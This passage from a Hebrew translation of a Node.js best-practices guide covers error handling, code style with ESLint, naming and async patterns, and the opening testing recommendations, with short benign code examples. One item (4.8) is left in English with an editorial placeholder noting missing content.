אוטומטיות, לא תוכלו לסמוך על הקוד שלכם שיחזיר את השגיאה הנכונה. ללא שגיאות משמעותיות לא תוכלו לטפל בשגיאות.\r\n\r\n🔗 [**לקריאה נוספת: בדיקת התנהגות בעת שגיאה**](./sections/errorhandling/testingerrorflows.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 2.9 גלו שגיאות וזמני השבתה על ידי שימוש בכלי APM\r\n\r\n**אמ;לק:** כלי ניטור ובדיקת ביצועים (מוכרים כ-APM) מודדים באופן יזום את הקוד או ה-API כך שבאופן קסום הם מציגים שגיאות, התרסקויות וחלקים שעובדים לאט מהצפוי ואתם לא שמים לב אליהם.\r\n\r\n**אחרת:** אתם עלולים להתאמץ רבות במדידה של בעיות ביצועים וזמני השבתה של המערכת, כנראה שלעולם לא תהיו מודעים לאיזה חלקים במערכת הם האיטיים ביותר ואיך זה משפיע על חווית המשתמש.\r\n\r\n🔗 [**לקריאה נוספת: שימוש ב-APM**](./sections/errorhandling/apmproducts.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 2.10 תפסו מקרים לא מטופלים של <abbr title=\"promises rejections\">דחיות של הבטחות</abbr>\r\n\r\n**אמ;לק:** כל שגיאה או דחייה שחוזרת מהבטחה תיבלע, אלא אם כן בשלב הפיתוח יטפלו בה כמו שצריך. אפילו אם יש בקוד האזנה ל `process.uncaughtException`! כדי להתגבר על זה צריך להאזין גם ל `process.unhandledRejection`.\r\n\r\n**אחרת:** השגיאות במערכת יבלעו ויעלמו ללא עקבות. לא משהו שצריך לדאוג ממנו...\r\n\r\n🔗 [**לקריאה נוספת: תפיסה של דחיות של הבטחות**](./sections/errorhandling/catchunhandledpromiserejection.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 2.11 היכשלו מהר, ודאו את משתני הקלט באמצעות ספריה יעודית\r\n\r\n**אמ;לק:** הגדירו תבנית קלט קשיחה ל-API כדי להימנע מבאגים מלוכלכים שקשה הרבה יותר לעקוב אחריהם. כתיבת קוד האימות הוא תהליך מייגע, אלא אם כן תשתמשו באחת הספריות המוכרות כיום כמו [ajv](https://www.npmjs.com/package/ajv), [zod](https://github.com/colinhacks/zod), או [typebox](https://github.com/sinclairzx81/typebox).\r\n\r\n**אחרת:** חשבו על זה - הפונקציה שלכם מצפה לקבל כקלט משתנה `discount` מספרי שמי שקרה לפונקציה שכח להעביר. בהמשך, הקוד בודק אם `discount != 0` (כמות ההנחה שאפשר לקבל גדולה מאפס), ואם כן אז המשתמש יהנה מההנחה. וואו, זה באג מלוכלך, ראיתם???\r\n\r\n🔗 [**לקריאה נוספת: כשלון מהיר**](./sections/errorhandling/failfast.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 2.12 תמיד המתינו לתשובה מההבטחות לפני שאתם מעבירים את התשובה הלאה כדי להימנע ממעקב חלקי\r\n\r\n**אמ;לק:** תמיד כתבו `return await` כאשר מחזירים תוצאה של הבטחה וזאת כדי להשיג ערך מלא של מעקב אחר מקור השגיאה (stacktrace). אם פונקציה מחזירה הבטחה היא חייבת להיות מוגדרת כפונקציה אסינכרונית ובמפורש לחכות להבטחה שהיא מחזירה.\r\n\r\n```js\r\nasync function promisifyFunction() {\r\n  // some logic\r\n  return await new Promise(...);\r\n}\r\n```\r\n\r\n**אחרת:** הפונקציה שמחזירה הבטחה ללא המתנה לא תופיע בנתיב המעקב אחרי השגיאה (stacktrace). חוסרים כאלו עלולים לסבך את ההבנה של זרימת המערכת שגרמה לשגיאה, במיוחד אם הגורם להתנהגות הלא צפויה קרה בפונקציה החסרה.\r\n\r\n🔗 [**לקריאה נוספת: החזרת הבטחות**](./sections/errorhandling/returningpromises.md)\r\n\r\n<br/><br/><br/>\r\n\r\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ חזרה למעלה</a></p>\r\n\r\n# `3. תבניות קוד וסגנון עיצוב`\r\n\r\n## ![✔] 3.1 השתמשו ב-ESLint\r\n\r\n**אמ;לק:** [ESLint](https://eslint.org) הוא הסטנדרט דה-פקטו למציאת שגיאות בקוד ותיקון של סגנונות קוד, לא רק זיהוי של רווח סורר שעלול ליצור תקלה אלא גם זיהוי של קוד שלא עומד בסטנדרטים (anti-pattern) כמו זריקת שגיאות ללא סיווג. אמנם ESLint יכול לתקן באופן אוטומטי סגנונות קוד, אך כלים אחרים כדוגמת [prettier](https://www.npmjs.com/package/prettier) טובים יותר בעיצוב וסגנון הקוד ועובדים בשילוב עם ESLint.\r\n\r\n**אחרת:** מפתחים ישתעממו תוך כדי השקעת זמנם במציאת רווחים סוררים וידאגו לאורך השורה והזמן היקר שלהם יבוזבז על איך לשמור על סגנון הקוד של הפרוייקט.\r\n\r\n🔗 [**לקריאה נוספת: שימוש ב-ESLint ו-Prettier**](./sections/codestylepractices/eslint_prettier.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 3.2 השתמשו בתוספים של Node.js שמרחיבים את ESLint\r\n\r\n**אמ;לק:** על גבי הסטנדרט של חוקי ESLint שמכסים את שפת JavaScript, הוסיפו את התוספים היעודיים של  Node.js כמו [eslint-plugin-node](https://www.npmjs.com/package/eslint-plugin-node), [eslint-plugin-mocha](https://www.npmjs.com/package/eslint-plugin-mocha), [eslint-plugin-node-security](https://www.npmjs.com/package/eslint-plugin-security), [eslint-plugin-require](https://www.npmjs.com/package/eslint-plugin-require), [eslint-plugin-jest](https://www.npmjs.com/package/eslint-plugin-jest) ועוד תוספים שמממשים חוקים נוספים ומועילים.\r\n\r\n**אחרת:** הרבה תבניות קוד לא תקינות שבשימוש ב-Node.js נעלמות מתחת לרדאד. לדוגמה, מפתחים יכתבו `require(variableAsPath)` עם משתנה שמאפשר גישה לתיקיה בקוד, דבר שמאפשר לתוקפים להריץ כל קוד JS. אם תשתמשו בחוקי Node.js תוכלו לזהות את הטעות הזאת ולקבל עליה התראה מבעוד מועד.\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 3.3 התחילו בלוק של קוד עם סוגריים מסולסלים באותה השורה\r\n\r\n**אמ;לק:** מומלץ שהסוגריים המסולסלים הפותחים של בלוק של קוד יהיו באותה השורה יחד עם הקוד.\r\n\r\n### דוגמה\r\n\r\n```javascript\r\n// Do\r\nfunction someFunction() {\r\n  // code block\r\n}\r\n\r\n// Avoid\r\nfunction someFunction()\r\n{\r\n  // code block\r\n}\r\n```\r\n\r\n**אחרת:** התעלמות משיטת עבודה זו עלולה להוביל לתוצאות לא צפויות, כמו שניתן לראות בשרשור בקישור מ StackOverflow:\r\n\r\n🔗 [**לקריאה נוספת:** \"למה התוצאות משתנות בהתאם למיקום הסוגר המסולסל?\" (StackOverflow)](https://stackoverflow.com/questions/3641519/why-does-a-results-vary-based-on-curly-brace-placement)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 3.4 הפרידו בין ההצהרות השונות בצורה תקנית\r\n\r\nבין אם אתם משתמשים בנקודה-פסיק (;) בשביל להפריד בין ההצהרות על המשתנים ובין אם לא, עצם הידיעה על ההשלכות של ירידת שורה במקום הלא מתאים או של הוספה אוטומטית של נקודה-פסיק, יעזרו לכם לזהות שגיאות סינטקס רגילות.\r\n\r\n**אמ;לק:** שימוש ב-ESLint כדי להעלות את המודעות לגבי הסיכון הכרוך בזה. כלים כמו [Prettier](https://prettier.io/) או [Standardjs](https://standardjs.com/) יכולים באופן אוטומטי לפתור את הבעיות הללו.\r\n\r\n**אחרת:** כמו שראינו בסעיף הקודם, \"המתורגמן\" (interpreter) של JavaScript מוסיף אוטומטית נקודה-פסיק בסוף כל הצהרה במידה ואין, או שהוא מחליט כי ההצהרה מסתיימת במקום אחר מהמתוכנן על ידינו, דבר שעלול להוביל לתוצאות בלתי צפויות. אפשר להשתמש בהשמות ולהימנע מ [IIFE](https://developer.mozilla.org/en-US/docs/Glossary/IIFE) כדי להימנע מרוב ההתנהגויות הבלתי צפויות.\r\n\r\n### דוגמה\r\n\r\n```javascript\r\n// Do\r\nfunction doThing() {\r\n    // ...\r\n}\r\n\r\ndoThing()\r\n\r\n// Do\r\n\r\nconst items = [1, 2, 3]\r\nitems.forEach(console.log)\r\n\r\n// Avoid — throws exception\r\nconst m = new Map()\r\nconst a = [1,2,3]\r\n[...m.values()].forEach(console.log)\r\n> [...m.values()].forEach(console.log)\r\n>  ^^^\r\n> SyntaxError: Unexpected token ...\r\n\r\n// Avoid — throws exception\r\nconst count = 2 // it tries to run 2(), but 2 is not a function\r\n(function doSomething() {\r\n  // do something amazing\r\n}())\r\n// put a semicolon before the immediate invoked function, after the const definition, save the return value of the anonymous function to a variable or avoid IIFEs altogether\r\n```\r\n\r\n🔗 [**לקריאה נוספת:** \"Semi ESLint rule\"](https://eslint.org/docs/rules/semi)\r\n<br>\r\n🔗 [**לקריאה נוספת:** \"No unexpected multiline ESLint rule\"](https://eslint.org/docs/rules/no-unexpected-multiline)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 3.5 תנו לפונקציה שם\r\n\r\n**אמ;לק:** תנו שמות לכל הפונקציות, כולל closures ו-callbacks. הימנעו מפונקציות אנונימיות. זה מאוד שימושי כשבודקים אפליקציות Node.js. מתן שמות לכל הפונקציות יאפשר לכם להבין בקלות על מה אתם מסתכלים כשאתם צופים בתמונת מצב של הזיכרון של האפליקציה.\r\n\r\n**אחרת:** לדבג את גרסת היצור (production) על בסיס תמונת מצב של הזיכרון (core dump) עלול להיות מאתגר כשהבעיות של הזיכרון קורות בכל מיני פונקציות אנונימיות.\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 3.6 השתמשו במוסכמות קבועות במתן שמות למשתנים, לקבועים, לפונקציות ולמחלקות\r\n\r\n**אמ;לק:** השתמשו ב-**_lowerCamelCase_** כאשר אתם נותנים שמות לקבועים, משתנים ופונקציות, **_UpperCamelCase_** (גם האות הראשונה גדולה) כאשר אתם נותנים שמות למחלקות ו-**_UPPER_SNAKE_CASE_**  כאשר אתם נותנים שמות למשתנים גלובליים או סטטיים. סדר זה יאפשר לכם להבחין בקלות בין משתנים רגילים ופונקציות לבין מחלקות שדורשות אתחול ולבין משתנים גלובליים. השתמשו בשמות שמתארים היטב את משמעות המשתנה, אך שיהיה קצר.\r\n\r\n**אחרת:** JavaScript היא השפה היחידה בעולם שתאפשר לכם לקרוא ל-constructor (\"Class\") ישירות ללא אתחול. לכן, חשוב מאוד להבדיל בין שמות מחלקות ושמות פונקציות על ידי שימוש ב-UpperCamelCase.\r\n\r\n### דוגמאות\r\n\r\n```javascript\r\n// for global variables names we use the const/let keyword and UPPER_SNAKE_CASE\r\nlet MUTABLE_GLOBAL = \"mutable value\";\r\nconst GLOBAL_CONSTANT = \"immutable value\";\r\nconst CONFIG = {\r\n  key: \"value\",\r\n};\r\n\r\n// examples of UPPER_SNAKE_CASE convention in nodejs/javascript ecosystem\r\n// in javascript Math.PI module\r\nconst PI = 3.141592653589793;\r\n\r\n// https://github.com/nodejs/node/blob/b9f36062d7b5c5039498e98d2f2c180dca2a7065/lib/internal/http2/core.js#L303\r\n// in nodejs http2 module\r\nconst HTTP_STATUS_OK = 200;\r\nconst HTTP_STATUS_CREATED = 201;\r\n\r\n// for class name we use UpperCamelCase\r\nclass SomeClassExample {\r\n  // for static class properties we use UPPER_SNAKE_CASE\r\n  static STATIC_PROPERTY = \"value\";\r\n}\r\n\r\n// for functions names we use lowerCamelCase\r\nfunction doSomething() {\r\n  // for scoped variable names we use the const/let keyword and lowerCamelCase\r\n  const someConstExample = \"immutable value\";\r\n  let someMutableExample = \"mutable value\";\r\n}\r\n```\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 3.7 העדיפו const על פני let. ניטשו את var\r\n\r\n**אמ;לק:** שימוש ב-`const` משמעותו היא שלאחר שהמשתנה מאותחל לראשונה הוא לא יכול להיות מאותחל שוב. העדפת שימוש ב-`const` תעזור לכם לא להתפתות ולהשתמש שוב באותו משתנה לצרכים שונים ותהפוך את הקוד שלכם לקריא יותר. אם משתנה צריך להיות מאותחל מחדש, למשל בתוך לולאת for, אז השתמשו ב-`let` לצורך כך. נקודה נוספת שחשוב לציין היא ששימוש ב-`let` אפשרית רק בתוך אותו הבלוק שהיא הוגדרה בו. `var` נצמד לscope של הפונקציה שהוא מוגדר בו ולא לבלוק ספציפי ולכן [צריך לא להשתמש בו ב-ES6](https://hackernoon.com/why-you-shouldnt-use-var-anymore-f109a58b9b70) כשאפשר להשתמש ב-`const` וב-`let`.\r\n\r\n**אחרת:** דיבוג הופך להיות מאוד מסורבל כאשר משתנה משתנה לעיתים דחופות.\r\n\r\n🔗 [**לקריאה נוספת: JavaScript ES6+: var, let, or const?** ](https://medium.com/javascript-scene/javascript-es6-var-let-or-const-ba58b8dcde75)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 3.8 טענו מודולים בתחילה, ולא בקריאה לפונקציות\r\n\r\n**אמ;לק:** טענו את המודולים (require...) בתחילת כל קובץ, לפני כל הפונקציות. שיטת עבודה פשוטה זו לא רק שתעזור לכם בקלות ובמהירות לזהות את התלויות של קובץ מסוים, אלא גם תמנע מספר בעיות אפשריות.\r\n\r\n**אחרת:** טעינת מודולים היא תהליך סינכרוני ב-Node.js. אם הטעינה תתבצע מתוך פונקציה היא עלולה לחסום טיפול בבקשות אחרות בזמן קריטי. בנוסף לכך, אם מודול חיוני או מישהו שהוא תלוי בו יזרקו שגיאה ויפילו את השרת, מומלץ שזה יוודע כמה שיותר מוקדם, מה שלא בטוח יקרה במקרה שהמודול נטען מתוך פונקציה.\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 3.9 הגדירו כניסה מסודרת לספריה שלכם\r\n\r\n**אמ;לק:** בעת פיתוח מודול או ספריה, הגדירו קובץ בסיס שמייצא את הקוד המיועד לשימוש חיצוני. מנעו מהמשתמשים של הקוד שלכם את הצורך לייבא קבצים שיושבים עמוק אצלכם ואת הצורך שלהם להבין את מבנה הקבצים שלכם. כאשר עובדים בשיטת commonjs (require), זה יכול להיעשות על ידי שימוש בקובץ index.js שיושב בתיקיה הראשית או בהגדרת השדה main בקובץ package.json. כאשר עובדים בשיטת ESM (import), אם קובץ package.json קיים בתיקיה הראשית, אז השדה \"exports\" מאפשר את הגדרת הקובץ הראשי. אך אם אין קובץ package.json, אז שימוש בקובץ index.js בתיקיה הראשית ייצא את כל הפונקציונליות שמיועדת לשימוש חיצוני.\r\n\r\n**אחרת:** קיומו של קובץ ראשי רשמי משמש כממשק חיצוני שמסתיר את החלקים הפנימיים של הספריה, מקשר את המשתמש ישירות לקוד הזמין ומאפשר שינויים עתידיים ללא צורך לשבוראת החוזה.\r\n\r\n### דוגמה\r\n\r\n```javascript\r\n// Avoid: client has deep familiarity with the internals\r\n\r\n// Client code\r\nconst SMSWithMedia = require(\"./SMSProvider/providers/media/media-provider.js\");\r\n\r\n// Better: explicitly export the public functions\r\n\r\n//index.js, module code\r\nmodule.exports.SMSWithMedia = require(\"./SMSProvider/providers/media/media-provider.js\");\r\n\r\n// Client code\r\nconst { SMSWithMedia } = require(\"./SMSProvider\");\r\n```\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 3.10 השתמשו באופרטור `===`\r\n\r\n**אמ;לק:** העדיפו את ההשוואה הקפדנית באמצעות האופרטור `===` על פני ההשוואה החלשה יותר באמצעות האופרטור `==`. `==` משווה שני משתנים אחרי המרה של שניהם לסוג משתנה אחד. אין המרת סוגי משתנים באופרטור `===`, ושני המשתנים חייבים להיות מאותו סוג כדי שיוכלו להיות שווים.\r\n\r\n**אחרת:** משתנים בעלי ערכים שונים עלולים להחזיר `true` כאשר משווים ביניהם בעזרת האופרטור `==`.\r\n\r\n### דוגמאות\r\n\r\n```javascript\r\n\"\" == \"0\"; // false\r\n0 == \"\"; // true\r\n0 == \"0\"; // true\r\n\r\nfalse == \"false\"; // false\r\nfalse == \"0\"; // true\r\n\r\nfalse == undefined; // false\r\nfalse == null; // false\r\nnull == undefined; // true\r\n\r\n\" \\t\\r\\n \" == 0; // true\r\n```\r\n\r\nכל ההשוואות לעיל יחזירו `false` בעת השוואה עם `===`.\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 3.11 השתמשו ב-Async Await, המנעו מ-callbacks\r\n\r\n**אמ;לק:** async-await זו הדרך הפשוטה ביותר לכתוב קוד אסינכרוני שירגיש כמו קוד סינכרוני. הקוד שיכתב בשיטת async-await הוא גם הרבה יותר פשוט ותומך במנגנון ה-try-catch. שיטה זו מחליפה את הצורך ב-callbacks ו-promises ברוב המקרים. שימוש בשיטה זו בקוד היא כנראה אחת המתנות הטובות יותר שאפשר לתת למי שיקרא את הקוד.\r\n\r\n**אחרת:** טיפול בשגיאות אסינכרוניות בשיטת callback היא כנראה הדרך המהירה לגהנום - מכיוון ששיטה זו מחייבת בדיקת שגיאות בכל שלב, יוצרת קינון מוזר בקוד ומקשה על הבנת תהליך הזרימה של הקוד.\r\n\r\n🔗[**לקריאה נוספת:** מדריך ל-async-await](https://github.com/yortus/asyncawait)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 3.12 השתמשו בפונקציות חץ (=>)\r\n\r\n**אמ;לק:** אמנם מומלץ להשתמש ב async-await ולהימנע מהגדרת פרמטרים בפונקציות כאשר מתעסקים עם API ישן שתומך ב-callbacks או הבטחות - פונקציות חץ מאפשרות לארגן את הקוד קומפקטי יותר וכמובן ששומרות על הקונטקסט של פונקצית המעטפת (`this`).\r\n\r\n**אחרת:** קוד ארוך יותר (על בסיס פונקציות של ES5) חשוף ליותר באגים וקשה יותר לקריאה.\r\n\r\n🔗 [**לקריאה נוספת: הגיע הזמן לאמץ את פונקציות החץ**](https://medium.com/javascript-scene/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions-3d37e1a9bb75)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 3.13 הימנעו מהשפעות צדדיות מחוץ לפונקציות\r\n\r\n**אמ;לק:** הימנעו מכתיבת קוד עם השפעות צדדיות כמו פעולת רשת או פניה למסד נתונים מחוץ לפונקציה. אם כן תכתבו קוד כזה הוא ירוץ מיד כאשר קובץ אחר פונה לקובץ הזה. הקוד 'הצף' הזה עלול לרוץ כאשר התשתית אותה הוא מבקש עוד לא זמינה עבורו. זה גם פוגע בביצועים אפילו אם אין צורך בפונקציה שעבורה מתבצעת הפעולה בזמן הריצה. דבר אחרון, כתיבת כיסוי לפעולה זו בשביל בדיקות הרבה יותר מורכבת כשהיא לא נעשית בפונקציה. במקום זאת, שימו את הקוד הזה בפונקציה שצריכה להיקרא במפורש. אם הקוד הזה צריך להיקרא ישר בעת עליית המערכת, שיקלו שימוש ב-factory או בתבנית אחרת שמתאימה לדרישה כזאת.\r\n\r\n**אחרת:** תשתיות סטנדרטיות בעולם הווב מגדירות ניהול שגיאות, משתני סביבה וניטור תקלות. אם הפעולה תתבצע לפני שהתשתית מאותחלת אז לא יהיה ניטור של המקרה או שהפעולה תיכשל בשל חוסר בהגדרות שטרם נטענו.\r\n\r\n<br/><br/><br/>\r\n\r\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ חזרה למעלה</a></p>\r\n\r\n# `4. בדיקות ובקרת איכות`\r\n\r\n> יש לנו מדריכים יעודיים לכתיבת בדיקות. רשימת שיטות העבודה המומלצות פה היא סיכום כללי של המדריכים הללו.\r\n>\r\n> א. [שיטות עבודה מומלצות בכתיבת בדיקות ל-JavaScript](https://github.com/goldbergyoni/javascript-testing-best-practices)<br/>\r\n> ב. [בדיקות ב-Node.js - מעבר ליסודות](https://github.com/testjavascript/nodejs-integration-tests-best-practices)\r\n\r\n\r\n## ![✔] 4.1  לפחות, כיתבו בדיקות API לרכיבים השונים\r\n\r\n**אמ;לק:** ברוב הפרויקטים אין בדיקות אוטומטיות כלל בשל לוח זמנים קצר, או שהתחילו לנסות להוסיף בדיקות בפרויקט נוסף אך זה יצא משליטה וננטש עם הזמן. לכן, לתעדף ולהתחיל בדיקות API שזאת הדרך הקלה לכתוב בדיקות ולספק כיסוי (בדיקות) של הקוד מאשר בבדיקות יחידה של פונקציות בודדות (אפשר להשתמש בשביל זה גם בכלים חיצוניים ללא כתיבת קוד, למשל שימוש ב-[Postman](https://www.getpostman.com/)). לאחר מכן, אם יש לכם יותר משאבים וזמן תמשיכו עם בדיקות מתקדמות יותר כגון בדיקות יחידה, בדיקות מול מסדי הנתונים בדיקות ביצועים ועוד.\r\n\r\n**אחרת:** אתם עלולים לבזבז ימים שלמים על כתיבת בדיקות יחידה בלבד ולגלות בסופו של דבר שכיסיתם רק 20% מהמערכת.\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 4.2 סווגו 3 חלקים במתן שם לכל בדיקה\r\n\r\n**אמ;לק:** גירמו לבדיקה לתאר את שלב הדרישות כך שהיא תסביר את עצמה גם לQA או לאחרים (כולל אתכם בעתיד הלא רחוק) שלא בקיאים בחלקים הפנימיים של הקוד. ציינו בבדיקה (1) איזה חלק נבדק, (2) באילו תנאים (3) ומה התוצאה שמצפים שתחול.\r\n\r\n**אחרת:** ההתקנה בדיוק נכשלה, בדיקה בשם “Add product” נכשלה. האם זה מתאר מה בדיוק לא תיפקד?\r\n\r\n🔗 [**לקריאה נוספת: סווגו 3 חלקים במתן שם לכל בדיקה**](./sections/testingandquality/3-parts-in-name.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 4.3 חלקו את הבדיקות לפי תבנית ה-AAA\r\n\r\n**אמ;לק:** חלקו את הבדיקות לשלושה חלקים נפרדים: Arrange (ארגן), Act (פעל) & Assert (ודא) (AAA). החלק הראשון כולל את ההכנה של הסביבה לבדיקה, החלק השני את ההרצה במצב בדיקות, ולבסוף החלק שמוודא שהתקבלה התוצאה הרצויה. שימוש במבנה זה בעקביות מבטיח שהקורא לא יבזבז זמן מחשבה של הבנת הבדיקה.\r\n\r\n**אחרת:** לא מספיק שיתבזבז זמן נרחב מהיום על הבנת הקוד, עכשיו גם החלק הקל ביום (הבנת הבדיקות) ישרוף את המוח.\r\n\r\n🔗 [**לקריאה נוספת: חלקו את הבדיקות לפי תבנית ה-AAA**](./sections/testingandquality/aaa.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 4.4 וודאו כי גרסת ה-Node אחידה\r\n\r\n**אמ;לק:** השתמשו בכלים המעודדים או אוכפים שימוש באותה גרסת Node.js בסביבות השונות ועל ידי שאר המפתחים. כלים כמו [nvm](https://github.com/nvm-sh/nvm), ו-[Volta](https://volta.sh/) מאפשרים להגדיר במפורש את הגרסה הנדרשת בפרויקט בקובץ כך שכל חברי הצוות יכולים על ידי הרצת פקודה אחת ליישר קו עם גרסת הפרויקט. ישנה אפשרות שגרסה זו גם תשתקף לתהליך ה-CI וסביבת היצור/לקוחות (לדוגמה על ידי העתקת מספר הגרסה המבוקש ל-`.Dockerfile` ולקבצי ההגדרות של תהליך ה-CI).\r\n\r\n**אחרת:** מפתחת עלולה להיתקל או לפספס שגיאה מכיוון שהיא משתמשת בגרסת Node.js שונה משאר הצוות. או גרוע מכך, סביבת היצור רצה באמצעות גרסה שונה מזו שהורצו עליה הבדיקות.\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 4.5 הימנעו מאתחול מידע גרעיני משותף, הגדירו לפי צורך של בדיקה\r\n\r\n**אמ;לק:** כדי להימנע מצמידות ותלות בין בדיקות שונות וכדי שיהיה ברור יותר איך להסביר מה קורה בשלבים השונים של הבדיקה, ראוי שכל בדיקה תוסיף ותנהל את המידע העוטף שלה (למשל שורות בטבלה). במקרה ובדיקה צריכה לצרוך מידע מטבלה או להניח שהוא קיים שם - היא צריכה קודם לכן להוסיף את המידע במפורש ולהימנע משינוי מידע של בדיקה אחרת.\r\n\r\n**אחרת:** תארו לכם מקרה בו הפצת גרסה נכשלה בשל שגיאה בבדיקות, הצוות משנס מותניים לחקור את הסיבה ומגיע אם התובנה העצובה שהמערכת עובדת תקין אבל הבדיקות דורסות מידע אחת לשניה ולכן נכשלו ועצרו את תהליך ההפצה.\r\n\r\n🔗 [**לקריאה נוספת: הימנעו מאתחול מידע גרעיני משותף**](./sections/testingandquality/avoid-global-test-fixture.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 4.6 תייגו את הבדיקות\r\n\r\n**אמ;לק:** בדיקות שונות צריכות לרוץ בתרחישים שונים: בדיקות שפיות (quick smoke/sanity), IO-less, בדיקות בעת שמירת קובץ או commit, בדיקות מלאות מקצה לקצה (e2e) כאשר נפתח PR וכולי... התרחישים השונים יכולים להיות מוגדרים בעזרת תיוג בדיקות שונות עם מילות מפתח כמו #cold #api #sanity דבר המאפשר להגדיר קבוצת בדיקות בהתאם לצורך ולהריץ רק אותה. למשל, זאת השיטה להריץ רק את קבוצת בדיקות השפיות באמצעות [Mocha](https://mochajs.org/): `mocha --grep 'sanity'`.\r\n\r\n**אחרת:** הרצה של כל הבדיקות כולל כאלו שמבצעות עשרות פניות למסד נתונים  בכל פעם שמפתח עושה שינוי קטן יאט את קצב הפיתוח בצורה ניכרת ותמנע מצוות הפיתוח להריץ בדיקות.\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 4.7 בידקו את רמת כיסוי הבדיקות שלכם, זה יעזור לזהות דפוסי בדיקות שגויים\r\n\r\n**אמ;לק:** כלים לבדיקת כיסוי הקוד על ידי בדיקות כמו [Istanbul](https://github.com/istanbuljs/istanbuljs)/[NYC](https://github.com/istanbuljs/nyc) מצוינים בשל שלוש סיבות: הם בחינם (אין עלות לדו\"חות שהם מספקים), הם עוזרים לזהות ירידה באחוזי הכיסוי, ואחרון חביב הם מדגישים מקרים של אי התאמה בבדיקות: על ידי צפייה בצבעים שהדוחות הללו מספקים אפשר לזהות למשל שיש קטעי קוד שלא נבדקים לעולם כמו הסתעפויות של `catch` (מה שאומר שיש בדיקות רק למסלול המצליח ולא למקרים של השגיאות). רצוי להגדיר את זה כך שזה יפיל את תהליכי יצירת הגרסאות במידה והכיסוי לא עובר סף מסוים.\r\n\r\n**אחרת:** לא יהיה שום אמצעי מדידה שידווח שקטעים נרחבים מהקוד לא נבדקים כלל.\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 4.8 Use production-like environment for e2e testing\r\n\r\n**אמ;לק:** End to end (e2e) testing which includes live data used to be the weakest link of the CI process as it depends on multiple heavy services like DB. Use an environment which is as close to your real production environment as possible like a-continue (Missed -continue here, needs content. Judging by the **Otherwise** clause, this should mention docker-compose)\r\n\r\n**אחרת:** Without docker-compose, teams must maintain a testing DB for each testing environment including developers' machines, keep all those DBs in sync so test results won't vary across environments\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 4.9 שכתבו את הקוד באופן קבוע בעזרת כלי ניתוח סטטי\r\n\r\n**אמ;לק:**  שימוש בכלי ניתוח סטטי (static analysis tools) עוזר בכך שהוא נותן דרכים מתאימות לשפר את איכות הקוד ולשמור על הקוד מתוחזק. אפשר להוסיף כלים כאלו לשלבי הבנייה ב-CI כך שיפילו את התהליך במידה והם מזהים ניחוחות בקוד. אחד היתרונות העיקריים שלהם על פני כלים פשוטים יותר הוא היכולת לזהות פגמים באיכות הקוד על פני מספר קבצים (כמו כפל קוד), מורכבות גבוהה של קוד ומעקב אחרי ההיסטוריה וההתקדמות של הקוד. שני כלים מומלצים לשימוש הם [Sonarqube](https://www.sonarqube.org/) (7,900+ [stars](https://github.com/SonarSource/sonarqube)) ו [Code Climate](https://codeclimate.com/) (2,400+ [stars](https://github.com/codeclimate/codeclimate)).\r\n\r\n**אחרת:** אם הקוד באיכות נמוכה, תקלות ובעיות ביצועים תמיד יהוו אתגר שאף ספריה חדשה ונוצצת או פתרון טכנולוגי חדיש יוכלו לפתור.\r\n\r\n🔗 [**לקריאה נוספת: שכתוב!**](./sections/testingandquality/refactoring.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 4.10 הדמיית תשובות של שרתי HTTP חיצוניים\r\n\r\n**אמ;לק:** השתמשו בכלי הדמיה של המידע שמגיע מהרשת עבור תשובות שמגיעות משירותים חיצוניים (כמו בקשות REST ו GraphQL). זה הכרחי לא רק כדי לבודד את הרכיב שנבדק אלא בעיקר כדי לבדוק מצבים לא צפויים. כלים כמו [nock](https://github.com/nock/nock) או [Mock-Server](https://www.mock-server.com/) מאפשרים להגדיר תשובה מסוימת לבקשה לשירות חיצוני בשורת קוד בודדה. חשוב לא לשכוח לדמות גם שגיאות, עיכובים, timeouts, וכל אירוע אחר שכנראה יקרה בסביבת הייצור.\r\n\r\n**אחרת:** לאפשר לרכיב לגשת למידע אמיתי משירותים חיצוניים בדרך כלל יסתיים בבדיקות פשוטות שמכסות בעיקר את המקרים שהכל טוב. בנוסף לכך הבדיקות לפעמים יכשלו ויהיו איטיות יותר.\r\n\r\n🔗 [**לקריאה נוספת: הדמיית שירותים חיצוניים**](./sections/testingandquality/mock-external-services.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 4.11 בידקו את <abbr title=\"middlewares\">פונקציות הביניים</abbr> בנפרד\r\n\r\n**אמ;לק:** כאשר פונקציית ביניים (middleware) אוחזת נתח משמעותי של לוגיקה שמשתרעת על פני מספר עצום של בקשות, כדאי לבדוק אותה בצורה מבודדת ללא צורך לטעון את כל תשתית הפריימוורק. אפשר להשיג את הפעולה הזאת בקלות על ידי עטיפה או הדמיה של `{req, res, next}`.\r\n\r\n**אחרת:** באג בפונקציות ביניים ב-`express` === באג ברוב הקריטי של הבקשות.\r\n\r\n🔗 [**לקריאה נוספת: לבדוק פונקציות ביניים בנפרד**](./sections/testingandquality/test-middlewares.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 4.12 קבעו את הפורט בייצור, הגדירו אקראי לבדיקות\r\n\r\n**אמ;לק:** כאשר מבצעים בדיקות מול API, זה רצוי ואף נהוג לאתחל את השרת בתוך 